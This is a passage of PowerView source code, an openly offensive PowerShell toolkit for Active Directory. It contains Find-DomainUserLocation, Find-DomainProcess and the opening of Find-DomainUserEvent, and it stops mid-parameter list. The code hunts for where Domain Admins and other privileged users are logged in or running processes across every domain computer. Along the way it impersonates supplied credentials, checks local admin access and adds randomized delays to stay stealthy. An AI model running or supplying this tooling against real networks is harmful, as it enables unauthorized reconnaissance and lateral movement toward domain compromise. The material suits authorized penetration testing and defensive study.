16562 if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
16563 $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
16564 if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
16565 $TargetComputerArrayList.AddRange( $DomainControllers )
16566 }
16567 $TargetComputers = $TargetComputerArrayList.ToArray()
16568 }
16569 else {
16570 Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
16571 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
16572 }
16573 }
16574 Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
16575 if ($TargetComputers.Length -eq 0) {
16576 throw '[Find-DomainUserLocation] No hosts found to enumerate'
16577 }
16578
16579 # get the current user so we can ignore it in the results
16580 if ($PSBoundParameters['Credential']) {
16581 $CurrentUser = $Credential.GetNetworkCredential().UserName
16582 }
16583 else {
16584 $CurrentUser = ([Environment]::UserName).ToLower()
16585 }
16586
16587 # now build the user target set
16588 if ($PSBoundParameters['ShowAll']) {
16589 $TargetUsers = @()
16590 }
16591 elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
16592 $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
16593 }
16594 else {
16595 $GroupSearcherArguments = @{
16596 'Identity' = $UserGroupIdentity
16597 'Recurse' = $True
16598 }
16599 if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
16600 if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
16601 if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
16602 if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
16603 if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
16604 if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
16605 if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
16606 if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
16607 $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
16608 }
16609
16610 Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
16611 if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
16612 throw '[Find-DomainUserLocation] No users found to target'
16613 }
16614
16615 # the host enumeration block we're using to enumerate all servers
16616 $HostEnumBlock = {
16617 Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
16618
16619 if ($TokenHandle) {
16620 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
16621 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
16622 }
16623
16624 ForEach ($TargetComputer in $ComputerName) {
16625 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
16626 if ($Up) {
16627 $Sessions = Get-NetSession -ComputerName $TargetComputer
16628 ForEach ($Session in $Sessions) {
16629 $UserName = $Session.UserName
16630 $CName = $Session.CName
16631
16632 if ($CName -and $CName.StartsWith('\\')) {
16633 $CName = $CName.TrimStart('\')
16634 }
16635
16636 # make sure we have a result, and ignore computer$ sessions
16637 if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
16638
16639 if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
16640 $UserLocation = New-Object PSObject
16641 $UserLocation | Add-Member Noteproperty 'UserDomain' $Null
16642 $UserLocation | Add-Member Noteproperty 'UserName' $UserName
16643 $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
16644 $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
16645
16646 # try to resolve the DNS hostname of $Cname
16647 try {
16648 $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
16649 $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
16650 }
16651 catch {
16652 $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
16653 }
16654
16655 # see if we're checking to see if we have local admin access on this machine
16656 if ($CheckAccess) {
16657 $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
16658 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
16659 }
16660 else {
16661 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
16662 }
16663 $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
16664 $UserLocation
16665 }
16666 }
16667 }
16668 if (-not $Stealth) {
16669 # if we're not 'stealthy', enumerate loggedon users as well
16670 $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
16671 ForEach ($User in $LoggedOn) {
16672 $UserName = $User.UserName
16673 $UserDomain = $User.LogonDomain
16674
16675 # make sure wet have a result
16676 if (($UserName) -and ($UserName.trim() -ne '')) {
16677 if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
16678 $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
16679 $UserLocation = New-Object PSObject
16680 $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
16681 $UserLocation | Add-Member Noteproperty 'UserName' $UserName
16682 $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
16683 $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
16684 $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
16685 $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
16686
16687 # see if we're checking to see if we have local admin access on this machine
16688 if ($CheckAccess) {
16689 $Admin = Test-AdminAccess -ComputerName $TargetComputer
16690 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
16691 }
16692 else {
16693 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
16694 }
16695 $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
16696 $UserLocation
16697 }
16698 }
16699 }
16700 }
16701 }
16702 }
16703
16704 if ($TokenHandle) {
16705 Invoke-RevertToSelf
16706 }
16707 }
16708
16709 $LogonToken = $Null
16710 if ($PSBoundParameters['Credential']) {
16711 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
16712 $LogonToken = Invoke-UserImpersonation -Credential $Credential
16713 }
16714 else {
16715 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
16716 }
16717 }
16718 }
16719
16720 PROCESS {
16721 # only ignore threading if -Delay is passed
16722 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
16723
16724 Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
16725 Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
16726 $Counter = 0
16727 $RandNo = New-Object System.Random
16728
16729 ForEach ($TargetComputer in $TargetComputers) {
16730 $Counter = $Counter + 1
16731
16732 # sleep for our semi-randomized interval
16733 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
16734
16735 Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
16736 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
16737
16738 if ($Result -and $StopOnSuccess) {
16739 Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
16740 return
16741 }
16742 }
16743 }
16744 else {
16745 Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
16746 Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
16747
16748 # if we're using threading, kick off the script block with New-ThreadedFunction
16749 $ScriptParams = @{
16750 'TargetUsers' = $TargetUsers
16751 'CurrentUser' = $CurrentUser
16752 'Stealth' = $Stealth
16753 'TokenHandle' = $LogonToken
16754 }
16755
16756 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
16757 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
16758 }
16759 }
16760
16761 END {
16762 if ($LogonToken) {
16763 Invoke-RevertToSelf -TokenHandle $LogonToken
16764 }
16765 }
16766}
16767
16768
16769function Find-DomainProcess {
16770<#
16771.SYNOPSIS
16772
16773Searches for processes on the domain using WMI, returning processes
16774that match a particular user specification or process name.
16775
16776Thanks to @paulbrandau for the approach idea.
16777
16778Author: Will Schroeder (@harmj0y)
16779License: BSD 3-Clause
16780Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
16781
16782.DESCRIPTION
16783
16784This function enumerates all machines on the current (or specified) domain
16785using Get-DomainComputer, and queries the domain for users of a specified group
16786(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
16787function enumerates any current processes running with Get-WMIProcess,
16788searching for processes running under any target user contexts or with the
16789specified -ProcessName. If -Credential is passed, it is passed through to
16790the underlying WMI commands used to enumerate the remote machines.
16791
16792.PARAMETER ComputerName
16793
16794Specifies an array of one or more hosts to enumerate, passable on the pipeline.
16795If -ComputerName is not passed, the default behavior is to enumerate all machines
16796in the domain returned by Get-DomainComputer.
16797
16798.PARAMETER Domain
16799
16800Specifies the domain to query for computers AND users, defaults to the current domain.
16801
16802.PARAMETER ComputerDomain
16803
16804Specifies the domain to query for computers, defaults to the current domain.
16805
16806.PARAMETER ComputerLDAPFilter
16807
16808Specifies an LDAP query string that is used to search for computer objects.
16809
16810.PARAMETER ComputerSearchBase
16811
16812Specifies the LDAP source to search through for computers,
16813e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
16814
16815.PARAMETER ComputerUnconstrained
16816
16817Switch. Search computer objects that have unconstrained delegation.
16818
16819.PARAMETER ComputerOperatingSystem
16820
16821Search computers with a specific operating system, wildcards accepted.
16822
16823.PARAMETER ComputerServicePack
16824
16825Search computers with a specific service pack, wildcards accepted.
16826
16827.PARAMETER ComputerSiteName
16828
16829Search computers in the specific AD Site name, wildcards accepted.
16830
16831.PARAMETER ProcessName
16832
16833Search for processes with one or more specific names.
16834
16835.PARAMETER UserIdentity
16836
16837Specifies one or more user identities to search for.
16838
16839.PARAMETER UserDomain
16840
16841Specifies the domain to query for users to search for, defaults to the current domain.
16842
16843.PARAMETER UserLDAPFilter
16844
16845Specifies an LDAP query string that is used to search for target users.
16846
16847.PARAMETER UserSearchBase
16848
16849Specifies the LDAP source to search through for target users.
16850e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
16851
16852.PARAMETER UserGroupIdentity
16853
16854Specifies a group identity to query for target users, defaults to 'Domain Admins.
16855If any other user specifications are set, then UserGroupIdentity is ignored.
16856
16857.PARAMETER UserAdminCount
16858
16859Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
16860
16861.PARAMETER Server
16862
16863Specifies an Active Directory server (domain controller) to bind to.
16864
16865.PARAMETER SearchScope
16866
16867Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
16868
16869.PARAMETER ResultPageSize
16870
16871Specifies the PageSize to set for the LDAP searcher object.
16872
16873.PARAMETER ServerTimeLimit
16874
16875Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
16876
16877.PARAMETER Tombstone
16878
16879Switch. Specifies that the searcher should also return deleted/tombstoned objects.
16880
16881.PARAMETER Credential
16882
16883A [Management.Automation.PSCredential] object of alternate credentials
16884for connection to the target domain and target systems.
16885
16886.PARAMETER StopOnSuccess
16887
16888Switch. Stop hunting after finding after finding a target user.
16889
16890.PARAMETER Delay
16891
16892Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
16893
16894.PARAMETER Jitter
16895
16896Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
16897
16898.PARAMETER Threads
16899
16900The number of threads to use for user searching, defaults to 20.
16901
16902.EXAMPLE
16903
16904Find-DomainProcess
16905
16906Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
16907
16908.EXAMPLE
16909
16910Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
16911
16912Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
16913privileged users in dev.testlab.local.
16914
16915.EXAMPLE
16916
16917Find-DomainProcess -ProcessName putty.exe
16918
16919Searchings for instances of putty.exe running on the current domain.
16920
16921.EXAMPLE
16922
16923$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
16924$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
16925Find-DomainProcess -Domain testlab.local -Credential $Cred
16926
16927Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
16928
16929.OUTPUTS
16930
16931PowerView.UserProcess
16932#>
16933
16934 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
16935 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
16936 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
16937 [OutputType('PowerView.UserProcess')]
16938 [CmdletBinding(DefaultParameterSetName = 'None')]
16939 Param(
16940 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
16941 [Alias('DNSHostName')]
16942 [String[]]
16943 $ComputerName,
16944
16945 [ValidateNotNullOrEmpty()]
16946 [String]
16947 $Domain,
16948
16949 [ValidateNotNullOrEmpty()]
16950 [String]
16951 $ComputerDomain,
16952
16953 [ValidateNotNullOrEmpty()]
16954 [String]
16955 $ComputerLDAPFilter,
16956
16957 [ValidateNotNullOrEmpty()]
16958 [String]
16959 $ComputerSearchBase,
16960
16961 [Alias('Unconstrained')]
16962 [Switch]
16963 $ComputerUnconstrained,
16964
16965 [ValidateNotNullOrEmpty()]
16966 [Alias('OperatingSystem')]
16967 [String]
16968 $ComputerOperatingSystem,
16969
16970 [ValidateNotNullOrEmpty()]
16971 [Alias('ServicePack')]
16972 [String]
16973 $ComputerServicePack,
16974
16975 [ValidateNotNullOrEmpty()]
16976 [Alias('SiteName')]
16977 [String]
16978 $ComputerSiteName,
16979
16980 [Parameter(ParameterSetName = 'TargetProcess')]
16981 [ValidateNotNullOrEmpty()]
16982 [String[]]
16983 $ProcessName,
16984
16985 [Parameter(ParameterSetName = 'TargetUser')]
16986 [Parameter(ParameterSetName = 'UserIdentity')]
16987 [ValidateNotNullOrEmpty()]
16988 [String[]]
16989 $UserIdentity,
16990
16991 [Parameter(ParameterSetName = 'TargetUser')]
16992 [ValidateNotNullOrEmpty()]
16993 [String]
16994 $UserDomain,
16995
16996 [Parameter(ParameterSetName = 'TargetUser')]
16997 [ValidateNotNullOrEmpty()]
16998 [String]
16999 $UserLDAPFilter,
17000
17001 [Parameter(ParameterSetName = 'TargetUser')]
17002 [ValidateNotNullOrEmpty()]
17003 [String]
17004 $UserSearchBase,
17005
17006 [ValidateNotNullOrEmpty()]
17007 [Alias('GroupName', 'Group')]
17008 [String[]]
17009 $UserGroupIdentity = 'Domain Admins',
17010
17011 [Parameter(ParameterSetName = 'TargetUser')]
17012 [Alias('AdminCount')]
17013 [Switch]
17014 $UserAdminCount,
17015
17016 [ValidateNotNullOrEmpty()]
17017 [Alias('DomainController')]
17018 [String]
17019 $Server,
17020
17021 [ValidateSet('Base', 'OneLevel', 'Subtree')]
17022 [String]
17023 $SearchScope = 'Subtree',
17024
17025 [ValidateRange(1, 10000)]
17026 [Int]
17027 $ResultPageSize = 200,
17028
17029 [ValidateRange(1, 10000)]
17030 [Int]
17031 $ServerTimeLimit,
17032
17033 [Switch]
17034 $Tombstone,
17035
17036 [Management.Automation.PSCredential]
17037 [Management.Automation.CredentialAttribute()]
17038 $Credential = [Management.Automation.PSCredential]::Empty,
17039
17040 [Switch]
17041 $StopOnSuccess,
17042
17043 [ValidateRange(1, 10000)]
17044 [Int]
17045 $Delay = 0,
17046
17047 [ValidateRange(0.0, 1.0)]
17048 [Double]
17049 $Jitter = .3,
17050
17051 [Int]
17052 [ValidateRange(1, 100)]
17053 $Threads = 20
17054 )
17055
17056 BEGIN {
17057 $ComputerSearcherArguments = @{
17058 'Properties' = 'dnshostname'
17059 }
17060 if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
17061 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
17062 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
17063 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
17064 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
17065 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
17066 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
17067 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
17068 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
17069 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
17070 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
17071 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
17072 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
17073 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
17074
17075 $UserSearcherArguments = @{
17076 'Properties' = 'samaccountname'
17077 }
17078 if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
17079 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
17080 if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
17081 if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
17082 if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
17083 if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
17084 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
17085 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
17086 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
17087 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
17088 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
17089 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
17090
17091
17092 # first, build the set of computers to enumerate
17093 if ($PSBoundParameters['ComputerName']) {
17094 $TargetComputers = $ComputerName
17095 }
17096 else {
17097 Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
17098 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
17099 }
17100 Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
17101 if ($TargetComputers.Length -eq 0) {
17102 throw '[Find-DomainProcess] No hosts found to enumerate'
17103 }
17104
17105 # now build the user target set
17106 if ($PSBoundParameters['ProcessName']) {
17107 $TargetProcessName = @()
17108 ForEach ($T in $ProcessName) {
17109 $TargetProcessName += $T.Split(',')
17110 }
17111 if ($TargetProcessName -isnot [System.Array]) {
17112 $TargetProcessName = [String[]] @($TargetProcessName)
17113 }
17114 }
17115 elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
17116 $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
17117 }
17118 else {
17119 $GroupSearcherArguments = @{
17120 'Identity' = $UserGroupIdentity
17121 'Recurse' = $True
17122 }
17123 if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
17124 if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
17125 if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
17126 if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
17127 if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
17128 if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
17129 if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
17130 if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
17131 $GroupSearcherArguments
17132 $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
17133 }
17134
17135 # the host enumeration block we're using to enumerate all servers
17136 $HostEnumBlock = {
17137 Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
17138
17139 ForEach ($TargetComputer in $ComputerName) {
17140 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
17141 if ($Up) {
17142 # try to enumerate all active processes on the remote host
17143 # and search for a specific process name
17144 if ($Credential) {
17145 $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
17146 }
17147 else {
17148 $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
17149 }
17150 ForEach ($Process in $Processes) {
17151 # if we're hunting for a process name or comma-separated names
17152 if ($ProcessName) {
17153 if ($ProcessName -Contains $Process.ProcessName) {
17154 $Process
17155 }
17156 }
17157 # if the session user is in the target list, display some output
17158 elseif ($TargetUsers -Contains $Process.User) {
17159 $Process
17160 }
17161 }
17162 }
17163 }
17164 }
17165 }
17166
17167 PROCESS {
17168 # only ignore threading if -Delay is passed
17169 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
17170
17171 Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
17172 Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
17173 $Counter = 0
17174 $RandNo = New-Object System.Random
17175
17176 ForEach ($TargetComputer in $TargetComputers) {
17177 $Counter = $Counter + 1
17178
17179 # sleep for our semi-randomized interval
17180 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
17181
17182 Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
17183 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
17184 $Result
17185
17186 if ($Result -and $StopOnSuccess) {
17187 Write-Verbose "[Find-DomainProcess] Target user found, returning early"
17188 return
17189 }
17190 }
17191 }
17192 else {
17193 Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
17194
17195 # if we're using threading, kick off the script block with New-ThreadedFunction
17196 $ScriptParams = @{
17197 'ProcessName' = $TargetProcessName
17198 'TargetUsers' = $TargetUsers
17199 'Credential' = $Credential
17200 }
17201
17202 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
17203 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
17204 }
17205 }
17206}
17207
17208
17209function Find-DomainUserEvent {
17210<#
17211.SYNOPSIS
17212
17213Finds logon events on the current (or remote domain) for the specified users.
17214
17215Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
17216License: BSD 3-Clause
17217Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
17218
17219.DESCRIPTION
17220
17221Enumerates all domain controllers from the specified -Domain
17222(default of the local domain) using Get-DomainController, enumerates
17223the logon events for each using Get-DomainUserEvent, and filters
17224the results based on the targeting criteria.
17225
17226.PARAMETER ComputerName
17227
17228Specifies an explicit computer name to retrieve events from.
17229
17230.PARAMETER Domain
17231
17232Specifies a domain to query for domain controllers to enumerate.
17233Defaults to the current domain.
17234
17235.PARAMETER Filter
17236
17237A hashtable of PowerView.LogonEvent properties to filter for.
17238The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
17239and is 'or' by default, meaning at least one clause matches instead of all.
17240See the exaples for usage.
17241
17242.PARAMETER StartTime
17243
17244The [DateTime] object representing the start of when to collect events.
17245Default of [DateTime]::Now.AddDays(-1).
17246
17247.PARAMETER EndTime
17248
17249The [DateTime] object representing the end of when to collect events.
17250Default of [DateTime]::Now.
17251
17252.PARAMETER MaxEvents
17253
17254The maximum number of events (per host) to retrieve. Default of 5000.
17255
17256.PARAMETER UserIdentity
17257
17258Specifies one or more user identities to search for.
17259
17260.PARAMETER UserDomain
17261
17262Specifies the domain to query for users to search for, defaults to the current domain.
17263
17264.PARAMETER UserLDAPFilter
17265
17266Specifies an LDAP query string that is used to search for target users.
17267
17268.PARAMETER UserSearchBase
17269
17270Specifies the LDAP source to search through for target users.
17271e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
17272
17273.PARAMETER UserGroupIdentity
17274
17275Specifies a group identity to query for target users, defaults to 'Domain Admins.
17276If any other user specifications are set, then UserGroupIdentity is ignored.
17277
17278.PARAMETER UserAdminCount
17279
17280Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
17281
17282.PARAMETER Server
17283
17284Specifies an Active Directory server (domain controller) to bind to.
17285
17286.PARAMETER SearchScope
17287
17288Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
17289
17290.PARAMETER ResultPageSize
17291
17292Specifies the PageSize to set for the LDAP searcher object.
17293
17294.PARAMETER ServerTimeLimit
17295
17296Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
17297
17298.PARAMETER Tombstone
17299
17300Switch. Specifies that the searcher should also return deleted/tombstoned objects.
17301
17302.PARAMETER Credential
17303
17304A [Management.Automation.PSCredential] object of alternate credentials
17305for connection to the target computer(s).
17306
17307.PARAMETER StopOnSuccess
17308
17309Switch. Stop hunting after finding after finding a target user.
17310
17311.PARAMETER Delay
17312
17313Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
17314
17315.PARAMETER Jitter
17316
17317Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
17318
17319.PARAMETER Threads
17320
17321The number of threads to use for user searching, defaults to 20.
17322
17323.EXAMPLE
17324
17325Find-DomainUserEvent
17326
17327Search for any user events matching domain admins on every DC in the current domain.
17328
17329.EXAMPLE
17330
17331$cred = Get-Credential dev\administrator
17332Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
17333
17334Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
17335domain controller using the alternate credential
17336
17337.EXAMPLE
17338
17339'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
17340
17341Find user events on the primary.testlab.local system where the event matches
17342the IPAddress '192.168.52.200' or '192.168.52.201'.
17343
17344.EXAMPLE
17345
17346$cred = Get-Credential testlab\administrator
17347Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
17348
17349Find user events mathing the specified GUID AND the specified TargetLogonId, searching
17350through every domain controller in the current domain, enumerating each DC in serial
17351instead of in a threaded manner, using the alternate credential.
17352
17353.OUTPUTS
17354
17355PowerView.LogonEvent
17356
17357PowerView.ExplicitCredentialLogon
17358
17359.LINK
17360
17361http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
17362#>
17363
17364 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
17365 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
17366 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
17367 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
17368 [OutputType('PowerView.LogonEvent')]
17369 [OutputType('PowerView.ExplicitCredentialLogon')]
17370 [CmdletBinding(DefaultParameterSetName = 'Domain')]
17371 Param(
17372 [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
17373 [Alias('dnshostname', 'HostName', 'name')]
17374 [ValidateNotNullOrEmpty()]
17375 [String[]]
17376 $ComputerName,
17377
17378 [Parameter(ParameterSetName = 'Domain')]
17379 [ValidateNotNullOrEmpty()]
17380 [String]
